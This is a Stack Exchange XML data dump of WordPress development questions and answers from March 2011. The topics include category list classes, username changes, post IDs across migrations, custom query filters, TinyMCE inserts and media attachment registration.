  <row Id="12844" PostTypeId="1" AcceptedAnswerId="12847" CreationDate="2011-03-23T17:57:52.080" Score="1" ViewCount="247" Body="&lt;p&gt;How do I add classes in the wp_list_category , I know the  wp_list_categories('title_li='); &#xA;generates classes , but I want to add a class in the parent category link&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt; link1&amp;lt;/a&amp;gt; &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;link2 &amp;lt;/a&amp;gt; &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;link3 &amp;lt;/a&amp;gt;    &amp;lt;---how do I add a special class here&#xA;      &amp;lt;ul class=&quot;children&quot;&amp;gt;  &#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;link3 children &amp;lt;/a&amp;gt; &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt; link3 children&amp;lt;/a&amp;gt; &amp;lt;/li&amp;gt;&#xA;      &amp;lt;/li&amp;gt;&#xA; &amp;lt;/li&amp;gt;&#xA; &amp;lt;/ul&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Im planning  to use a jquery UI accordion in here,&lt;br&gt;&#xA;please help. thank you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-edit--&#xA;problem solved by Paul , thanks man&lt;/p&gt;&#xA;" OwnerUserId="2210" LastEditorUserId="2210" LastEditorDisplayName="" LastEditDate="2011-05-13T07:44:26.613" LastActivityDate="2011-05-13T07:44:26.613" Title="How to add classes in the wp_list_category parent link" Tags="&lt;3.0&gt;&lt;link-category&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="12845" PostTypeId="1" CreationDate="2011-03-23T18:41:11.183" Score="0" ViewCount="60" Body="&lt;p&gt;We are using email addresses as usernames in a current WP 3.1 project.&#xA;I need to allow users to change their usernames and email addresses, and will build in the option to do so. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am just wondering why this is not allowed by default in WP? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can go wrong if I let our users change their passwords?&lt;/p&gt;&#xA;" OwnerUserId="2450" LastActivityDate="2011-03-23T19:05:02.500" Title="Can anything go wrong if I let users change their usernames?" Tags="&lt;update&gt;&lt;username&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="12846" PostTypeId="2" ParentId="12844" CreationDate="2011-03-23T18:59:05.797" Score="2" ViewCount="" Body="&lt;p&gt;I have gotten this to work mainly by reverse-engineering the &lt;a href=&quot;http://anthologyoi.com/wordpress/plugins/wordpress-access-keys.html&quot; rel=&quot;nofollow&quot;&gt;access-keys plugin&lt;/a&gt;. The code is pasted below but feel free to checkout the code for that plugin. It may help you decipher whats going on a little better.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_list_categories', 'my_class_name_cats');&#xA;function my_class_name_cats($cats) {&#xA;        return preg_replace_callback('!(&amp;lt;li class=&quot;cat-item (cat)-item-([0-9]*)&quot;&amp;gt;[\s\S]*?&amp;lt;a([^&amp;gt;]*)&amp;gt;)!ims', 'my_class_name_finish', $cats);&#xA;}&#xA;&#xA;add_filter('wp_list_pages', 'my_class_name_pages');&#xA;function my_class_name_pages($pages) {&#xA;    return preg_replace_callback('!(&amp;lt;li class=&quot;page_item (page)-item-([0-9]*)&quot;&amp;gt;&amp;lt;a([^&amp;gt;]*)&amp;gt;)!ims', 'my_class_name_finish', $pages);&#xA;}&#xA;&#xA;function my_class_name_finish($matches){&#xA;    $id = $matches[3];&#xA;    $link = $matches[0];&#xA;    $class = $matches[4]. ' class=&quot;page-'.$id.'&quot; ';&#xA;    $link = str_replace($matches[4], $class, $link);&#xA;    return $link;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can change class=&quot;page-'.$id.'&quot; to whatever you would like. Currently it sets the class to page-[id of page or category]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the code to your themes functions.php. If you only want it for categories you can ignore the wp_list_pages filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2011-03-23T18:59:05.797" />
  <row Id="12847" PostTypeId="2" ParentId="12844" CreationDate="2011-03-23T19:02:43.560" Score="3" ViewCount="" Body="&lt;p&gt;jquery accordion accepts an option called header that allows you to provide a selector to designate the items you want to act as the accordion headers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('li.categories &amp;gt; ul').accordion({ header: 'li.categories &amp;gt; ul &amp;gt; li' });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="4161" LastActivityDate="2011-03-23T19:02:43.560" />
  <row Id="12848" PostTypeId="2" ParentId="12845" CreationDate="2011-03-23T19:05:02.500" Score="2" ViewCount="" Body="&lt;p&gt;The problem with changing usernames is that it's a caching issue and that it breaks /author/username URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL breaking issue is obvious. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The caching issue is less obvious. If you're using a persistent object cache like memcached or something, then the username will be stored in that cache, and thus it won't change properly until the cache runs out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a simple site setup, this doesn't happen because it doesn't have persistent object caching. On a complex one, it becomes a real problem. A fair number of changes to the user system would be needed to allow the caching to be taken care of properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A core feature request was rejected for this because of the limited need for it, basically. However, a core patch to correct the caching issue might be better considered, allowing for a much simpler plugin to change the username (or a simple patch to allow same, once the caching issue is cleared up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14644&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/14644&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-03-23T19:05:02.500" CommentCount="2" />
  <row Id="12849" PostTypeId="2" ParentId="12814" CreationDate="2011-03-23T19:15:42.903" Score="0" ViewCount="" Body="&lt;p&gt;A query posts call makes only one query, not two. So no, you can't have it make two separate queries and then concatenate the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember, you're selecting some set of posts here, then displaying them. That set is selected all at once. If you want to get two separate sets of posts and then merge them, then that's something you'll have to do yourself with get_posts or similar.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-03-23T19:15:42.903" />
  <row Id="12850" PostTypeId="2" ParentId="12844" CreationDate="2011-03-23T19:27:49.807" Score="0" ViewCount="" Body="&lt;p&gt;There's a filter in the works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/16497&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/16497&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in the meantime, a jquery solution might be the best fit for you, since you're loading jquery anyway. &lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-03-23T19:27:49.807" />
  <row Id="12851" PostTypeId="1" AcceptedAnswerId="12912" CreationDate="2011-03-23T19:32:30.913" Score="0" ViewCount="102" Body="&lt;p&gt;I always though the the image manager into wp is not really good... I need to be able to generate square or custom size when i like where i like, much like &lt;strong&gt;TimThumb&lt;/strong&gt; that generate thum on the fly... but a little complicated...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what do you use or what is the best plugin...&lt;/p&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2011-03-24T10:37:22.830" Title="Thumbnail and image management" Tags="&lt;images&gt;&lt;post-thumbnails&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="12852" PostTypeId="2" ParentId="12772" CreationDate="2011-03-23T20:02:45.873" Score="1" ViewCount="" Body="&lt;p&gt;You can &quot;wrap&quot; the function by renaming it and defining your own function with the same name, that calls the renamed function. The &quot;cancel&quot; handler is internal, so you can't access that.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var oldAddComment = addComment;&#xA;addComment = {&#xA;    moveForm: function(commId, parentId, respondId, postId) {&#xA;        var retVal = oldAddComment.moveForm(commId, parentId, respondId, postId);&#xA;        // Your code to hide the link here&#xA;        return retVal;&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also unregister the &lt;code&gt;comment-reply&lt;/code&gt; Javascript, and register your own version. Or you can hook up extra handlers to the click event, with plain Javascript or with jQuery, as you have done.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-23T20:02:45.873" CommentCount="3" />
  <row Id="12853" PostTypeId="2" ParentId="12843" CreationDate="2011-03-23T20:24:42.477" Score="3" ViewCount="" Body="&lt;p&gt;WordPress parses incoming URLs with a list of regular expressions, the &lt;em&gt;rewrite rules&lt;/em&gt;. The first regex that matches the URL &quot;wins&quot;, and determines what kind of query will be executed. You can see the rewrite rules and play with different URLs with &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;my Rewrite analyzer plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether or not pages take priority over other rules depends on your permalink structure. &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/rewrite.php#L1908&quot; rel=&quot;nofollow&quot;&gt;If it contains &lt;code&gt;%postname%&lt;/code&gt;, &lt;code&gt;%category%&lt;/code&gt;, &lt;code&gt;%tag%&lt;/code&gt;, or &lt;code&gt;%author%&lt;/code&gt; as the first &lt;em&gt;permastruct&lt;/em&gt;&lt;/a&gt;, the rewrite engine will generate &lt;em&gt;verbose page rules&lt;/em&gt;, where each page gets a specific rule at the top of the list instead of a catch-all rule at the end. This can explain the difference between the two sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/rewrite.php#L1473&quot; rel=&quot;nofollow&quot;&gt;The &lt;code&gt;WP_Rewrite::rewrite_rules()&lt;/code&gt; function&lt;/a&gt; that generates the rules has many different filters. You can hook into one of them to modify the array, so that the most important rules for you are at the top. You can find many questions on this site with examples of how to modify these rules.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-23T20:24:42.477" CommentCount="2" />
  <row Id="12854" PostTypeId="1" AcceptedAnswerId="12860" CreationDate="2011-03-23T20:34:50.463" Score="2" ViewCount="111" Body="&lt;p&gt;I'm creating a rather complex plugin that synchronizes posts from your server with a thirdparty server. I need to know, if you migrate your wordpress server to a new site, &quot;can&quot; the post ids change? If so is there another unique id?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there any other instance where a post id could change?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the id does change and there is no other unique id then chances are I'll just do some complex md5 signature checking and string comparison if need be.&lt;/p&gt;&#xA;" OwnerUserId="4119" LastActivityDate="2011-03-23T21:13:53.310" Title="Will post id change when migrating to new site?" Tags="&lt;migration&gt;" AnswerCount="2" />
  <row Id="12856" PostTypeId="2" ParentId="578" CreationDate="2011-03-23T20:40:00.893" Score="4" ViewCount="" Body="&lt;p&gt;Here is a version of this that automatically creates and applies filters from all taxonomies that apply to all custom post types which use them. (what a mouthful) Anyways, I also tweaked it so it works with wp_dropdown_categories() and wordpress 3.1. The project I'm working on is called ToDo, you can rename the functions to something that makes sense for you, but this should pretty much work for everything automatically.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function todo_restrict_manage_posts() {&#xA;    global $typenow;&#xA;    $args=array( 'public' =&amp;gt; true, '_builtin' =&amp;gt; false ); &#xA;    $post_types = get_post_types($args);&#xA;    if ( in_array($typenow, $post_types) ) {&#xA;    $filters = get_object_taxonomies($typenow);&#xA;        foreach ($filters as $tax_slug) {&#xA;            $tax_obj = get_taxonomy($tax_slug);&#xA;            wp_dropdown_categories(array(&#xA;                'show_option_all' =&amp;gt; __('Show All '.$tax_obj-&amp;gt;label ),&#xA;                'taxonomy' =&amp;gt; $tax_slug,&#xA;                'name' =&amp;gt; $tax_obj-&amp;gt;name,&#xA;                'orderby' =&amp;gt; 'term_order',&#xA;                'selected' =&amp;gt; $_GET[$tax_obj-&amp;gt;query_var],&#xA;                'hierarchical' =&amp;gt; $tax_obj-&amp;gt;hierarchical,&#xA;                'show_count' =&amp;gt; false,&#xA;                'hide_empty' =&amp;gt; true&#xA;            ));&#xA;        }&#xA;    }&#xA;}&#xA;function todo_convert_restrict($query) {&#xA;    global $pagenow;&#xA;    global $typenow;&#xA;    if ($pagenow=='edit.php') {&#xA;        $filters = get_object_taxonomies($typenow);&#xA;        foreach ($filters as $tax_slug) {&#xA;            $var = &amp;amp;$query-&amp;gt;query_vars[$tax_slug];&#xA;            if ( isset($var) ) {&#xA;                $term = get_term_by('id',$var,$tax_slug);&#xA;                $var = $term-&amp;gt;slug;&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;add_action( 'restrict_manage_posts', 'todo_restrict_manage_posts' );&#xA;add_filter('parse_query','todo_convert_restrict');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I'm using a plugin that adds 'term_order' as a way to order terms, you'll have to change that, or remove that argument to fallback to the default.&lt;/p&gt;&#xA;" OwnerUserId="4282" LastEditorUserId="4282" LastEditorDisplayName="" LastEditDate="2011-03-23T20:51:19.980" LastActivityDate="2011-03-23T20:51:19.980" CommentCount="1" />
  <row Id="12857" PostTypeId="2" ParentId="12854" CreationDate="2011-03-23T20:57:53.120" Score="3" ViewCount="" Body="&lt;p&gt;It depends upon how the database is getting from one place to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's a straight copy of the database (obviously with edits for new site url): no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exporting the MySQL tables and importing them back in will create a carbon copy of the database - everything will be the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are importing (through the WP admin panel): yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Import allows for posts to be added to an existing blog and so the IDs cannot remain the same - the post_id &lt;strong&gt;&lt;em&gt;must&lt;/em&gt;&lt;/strong&gt; be unique across the post table, otherwise it is useless - so if a blog already has some content with the post ids [1..120] the imported content would take the IDs of [121...n+120]&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2011-03-23T20:57:53.120" />
  <row Id="12858" PostTypeId="2" ParentId="12814" CreationDate="2011-03-23T21:06:25.347" Score="4" ViewCount="" Body="&lt;p&gt;If you can explain it in SQL, you can query for it! There are three places where we want to change the default query:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre class=&quot;lang-sql prettyprint-override&quot;&gt;&lt;code&gt;SELECT wp_posts.*&#xA;FROM wp_posts &#xA;INNER JOIN wp_postmeta ON (wp_posts.ID = wp_postmeta.post_id)&#xA;WHERE 1=1&#xA;    AND wp_posts.post_type = 'post'&#xA;    AND (wp_posts.post_status = 'publish')&#xA;    AND wp_postmeta.meta_key = 'startDate'&#xA;    AND CAST(wp_postmeta.meta_value AS CHAR) &amp;lt; '2011-03-23'&#xA;GROUP BY wp_posts.ID&#xA;ORDER BY wp_postmeta.meta_value DESC&#xA;LIMIT 0, 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The join should be a left join&lt;/li&gt;&#xA;&lt;li&gt;The where-clause&lt;/li&gt;&#xA;&lt;li&gt;The order&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The join and the where-clause are added via &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/meta.php#L355&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;_get_meta_sql()&lt;/code&gt; function&lt;/a&gt;. The output is filtered, so we can hook into it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'get_meta_sql', 'wpse12814_get_meta_sql' );&#xA;function wpse12814_get_meta_sql( $meta_sql )&#xA;{&#xA;    // Move the `meta_key` comparison in the join so it can handle posts without this meta_key&#xA;    $meta_sql['join'] = &quot; LEFT JOIN wp_postmeta ON (wp_posts.ID = wp_postmeta.post_id AND wp_postmeta.meta_key = 'startDate') &quot;;&#xA;    $meta_sql['where'] = &quot; AND (wp_postmeta.meta_value IS NULL OR wp_postmeta.meta_value &amp;lt; '&quot; . date('Y-m-d') . &quot;')&quot;;&#xA;    return $meta_sql;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The order clause is filtered through &lt;code&gt;posts_orderby&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'posts_orderby', 'wpse12814_posts_orderby' );&#xA;function wpse12814_posts_orderby( $orderby )&#xA;{&#xA;    $orderby = 'COALESCE(wp_postmeta.meta_value, wp_posts.post_date) ASC';&#xA;    return $orderby;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives us the following SQL query:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre class=&quot;lang-sql prettyprint-override&quot;&gt;&lt;code&gt;SELECT wp_posts.*&#xA;FROM wp_posts&#xA;LEFT JOIN wp_postmeta ON (wp_posts.ID = wp_postmeta.post_id AND wp_postmeta.meta_key = 'startDate')&#xA;WHERE 1=1&#xA;    AND wp_posts.post_type = 'post'&#xA;    AND (wp_posts.post_status = 'publish')&#xA;    AND (wp_postmeta.meta_value IS NULL OR wp_postmeta.meta_value &amp;lt; '2011-03-23')&#xA;GROUP BY wp_posts.ID&#xA;ORDER BY COALESCE(wp_postmeta.meta_value, wp_posts.post_date) ASC&#xA;LIMIT 0, 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember to unhook the filters after you did your query, otherwise you will mess up other queries too. And if possible &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1753/when-should-you-use-wp-query-vs-query-posts-vs-get-posts&quot;&gt;you should not call &lt;code&gt;query_posts()&lt;/code&gt; yourself&lt;/a&gt;, but modify the main post query that is done by WordPress while setting up the page.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-23T21:06:25.347" CommentCount="5" />
  <row Id="12859" PostTypeId="1" AcceptedAnswerId="12868" CreationDate="2011-03-23T21:07:23.533" Score="1" ViewCount="259" Body="&lt;p&gt;Is there a way to get my custom TinyMCE button to insert multiple lines of text? Ultimately I am making a &quot;Premade Themes&quot; button where a user will select a theme and it will insert about 6-8 different shortcodes with one click and they can edit the shortcodes accordingly..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A problem I'm having is that all of these shortcodes get put in one line. Here's the code I use that actually pastes the shortcodes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;tinyMCEPopup.editor.execCommand('mceInsertClipboardContent', false, {content : 'the shortcodes go here'});&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-03-23T22:03:51.763" Title="TinyMCE Button to Insert Multiple Lines of Text?" Tags="&lt;javascript&gt;&lt;tinymce&gt;" AnswerCount="1" />
  <row Id="12860" PostTypeId="2" ParentId="12854" CreationDate="2011-03-23T21:13:53.310" Score="3" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;wp_posts&lt;/code&gt; table has a &lt;code&gt;guid&lt;/code&gt; field, which should be globally unique, and survive migrations. It is formed by taking the initial post URL, and never changed after that (when you change the title, change the website address, or migrate the posts). This should be pretty safe to base your synchronisation code on.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-23T21:13:53.310" CommentCount="2" />
  <row Id="12861" PostTypeId="2" ParentId="6343" CreationDate="2011-03-23T21:18:39.227" Score="0" ViewCount="" Body="&lt;p&gt;I had a similar problem recently and determined the cause to be that when WordPress queries for posts in a category, it looks for posts with post_type equal to 'post' before it reaches the point where you query for post_type 'any' or some custom post type.  This doesn't cause a problem on page 1 because even if there are no posts it calls your template.  However on page 2 and so forth, it doesn't find any posts of post_type 'post' so it loads the 404 template before your template even gets a chance to modify the post_type parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug?  That's a good question.  I would say so because you should expect that if you register the 'category' taxonomy on other post_types, all post_types would show up in that archive, not just strictly posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully that helps.&lt;/p&gt;&#xA;" OwnerUserId="4164" LastActivityDate="2011-03-23T21:18:39.227" />
  <row Id="12862" PostTypeId="1" AcceptedAnswerId="12878" CreationDate="2011-03-23T21:20:52.823" Score="1" ViewCount="185" Body="&lt;p&gt;I need to run a background process in a plugin that does some work on ALL the posts in a person's database once the plugin is installed. I'm very new at working with wordpress so my research has shown that I can use the wp query or I can use &quot;the loop&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I'm going through absolutely every single post speed is of the essence. I need to check the title, body, categories, meta tags, publish state and password protected. So based on this, which one of these would be fastest?&lt;/p&gt;&#xA;" OwnerUserId="4119" LastEditorUserId="3832" LastEditorDisplayName="" LastEditDate="2011-03-24T02:34:30.483" LastActivityDate="2011-03-24T02:34:30.483" Title="Fastest way to loop through all posts?" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;loop&gt;" AnswerCount="2" />
  <row Id="12863" PostTypeId="1" AcceptedAnswerId="12865" CreationDate="2011-03-23T21:25:03.783" Score="3" ViewCount="296" Body="&lt;p&gt;How can I check if the current page is &lt;code&gt;wp-login.php&lt;/code&gt; or &lt;code&gt;wp-signup.php&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there more elegant solutions than using &lt;code&gt;$_SERVER['REQUEST_URI']&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-03-23T21:31:47.163" LastActivityDate="2011-03-23T21:59:58.910" Title="Check if we're on the wp-login page?" Tags="&lt;page&gt;&lt;login&gt;&lt;registration&gt;&lt;conditional-tags&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="12865" PostTypeId="2" ParentId="12863" CreationDate="2011-03-23T21:59:58.910" Score="7" ViewCount="" Body="&lt;p&gt;Use the global &lt;code&gt;$pagenow&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( in_array( $GLOBALS['pagenow'], array( 'wp-login.php', 'wp-register.php' ) ) )&#xA;    run_my_funky_plugin();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-23T21:59:58.910" />
  <row Id="12866" PostTypeId="1" AcceptedAnswerId="12872" CreationDate="2011-03-23T22:00:13.583" Score="0" ViewCount="123" Body="&lt;p&gt;I've got a plugin that transfers some files over to the uploads folder of the site in which the plugin is installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine, however, the images are not appearing in the Media Manager. I expect some database registration is involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the script below which copies the files into the directory, what command would I need to add to the loop to register each image for the media manager?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    foreach(new RecursiveIteratorIterator($rdi) as $files) &#xA;    {&#xA;         if ($files-&amp;gt;isFile()) &#xA;         {&#xA;            $imagepath = $files-&amp;gt;getRealPath();&#xA;            $image = basename($files-&amp;gt;getPathname());&#xA;            copy($imagepath, $my_target_folder.'/'.$image);&#xA;         }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-03-23T23:46:22.133" Title="How to get an image transferred via FTP or script to appear in Media Manager?" Tags="&lt;plugin-development&gt;&lt;images&gt;&lt;media-library&gt;" AnswerCount="2" />
  <row Id="12867" PostTypeId="1" CreationDate="2011-03-23T22:02:11.657" Score="0" ViewCount="89" Body="&lt;p&gt;Is it possible to create a child page in a categoty post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL structure would be something like domain.com/2011/03/23/testing-post/new-page-name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know when you create a new page you can determinate the parent page, is there any way to determine in which post you can asign that page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe a post inside a post structure like: domain.com/2011/03/23/testing-post/testing-new-post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="4165" LastActivityDate="2011-03-23T22:02:11.657" Title="Child page in a category post" Tags="&lt;categories&gt;&lt;3.1&gt;&lt;pages&gt;" CommentCount="2" />
  <row Id="12868" PostTypeId="2" ParentId="12859" CreationDate="2011-03-23T22:03:51.763" Score="2" ViewCount="" Body="&lt;p&gt;This should be as easy as adding &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt; between shortcodes or every time you want to add a new line and also if you are inserting content you should use &lt;code&gt;mceInsertContent&lt;/code&gt; instead of &lt;code&gt;mceInsertClipboardContent&lt;/code&gt; unless you are actually getting the content from the clipbard, so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tinyMCEPopup.editor.execCommand('mceInsertContent', false, '&amp;lt;p&amp;gt;[shotcode1]&amp;lt;br/&amp;gt;[shotcode2]&amp;lt;br/&amp;gt;[shotcode3]&amp;lt;/p&amp;gt;'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-23T22:03:51.763" />
  <row Id="12869" PostTypeId="1" AcceptedAnswerId="12873" CreationDate="2011-03-23T22:13:52.527" Score="1" ViewCount="86" Body="&lt;p&gt;I am creating multiple pages in Wordpress. I understand I can style these with page.php. Is there any way I can style specific pages with custom templates? So for example if I had page About Us I would want a sidebar that has links to our profiles. If I had page Contact Us I would want a sidebar that has links for emailing us. &lt;/p&gt;&#xA;" OwnerUserId="4013" LastActivityDate="2011-03-23T22:32:52.200" Title="Custom template for each page" Tags="&lt;page-template&gt;" AnswerCount="2" />
  <row Id="12870" PostTypeId="2" ParentId="12869" CreationDate="2011-03-23T22:17:09.917" Score="0" ViewCount="" Body="&lt;p&gt;Check out &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Page_display&quot; rel=&quot;nofollow&quot;&gt;Template Hierarchy&lt;/a&gt;. When you edit the page, you will be able to chose the template you want it to display in.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-03-23T22:17:09.917" />
  <row Id="12871" PostTypeId="1" AcceptedAnswerId="12879" CreationDate="2011-03-23T22:21:18.777" Score="0" ViewCount="180" Body="&lt;p&gt;Is there a way to get a path to the themes directory without the current theme in the path?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie, in a standard WP install, I would want a reference to:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;C:\xampplite\htdocs\sitename/wp-content/themes/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But the TEMPLATEPATH constant returns...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;C:\xampplite\htdocs\sitename/wp-content/themes/currentActiveTheme&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-03-23T22:26:52.047" LastActivityDate="2011-03-25T00:22:13.110" Title="TEMPLATEPATH without the theme name? No THEMEPATH constant?" Tags="&lt;plugin-development&gt;" AnswerCount="4" />
  <row Id="12872" PostTypeId="2" ParentId="12866" CreationDate="2011-03-23T22:21:30.053" Score="1" ViewCount="" Body="&lt;p&gt;add this to your for each and $filename to each file,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $wp_filetype = wp_check_filetype(basename($filename), null );&#xA;  $attachment = array(&#xA;     'post_mime_type' =&amp;gt; $wp_filetype['type'],&#xA;     'post_title' =&amp;gt; preg_replace('/\.[^.]+$/', '', basename($filename)),&#xA;     'post_content' =&amp;gt; '',&#xA;     'post_status' =&amp;gt; 'inherit'&#xA;  );&#xA;  $attach_id = wp_insert_attachment( $attachment, $filename, 0 );&#xA;  // you must first include the image.php file&#xA;  // for the function wp_generate_attachment_metadata() to work&#xA;  require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/image.php');&#xA;  $attach_data = wp_generate_attachment_metadata( $attach_id, $filename );&#xA;  wp_update_attachment_metadata( $attach_id,  $attach_data );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-23T22:21:30.053" CommentCount="5" />
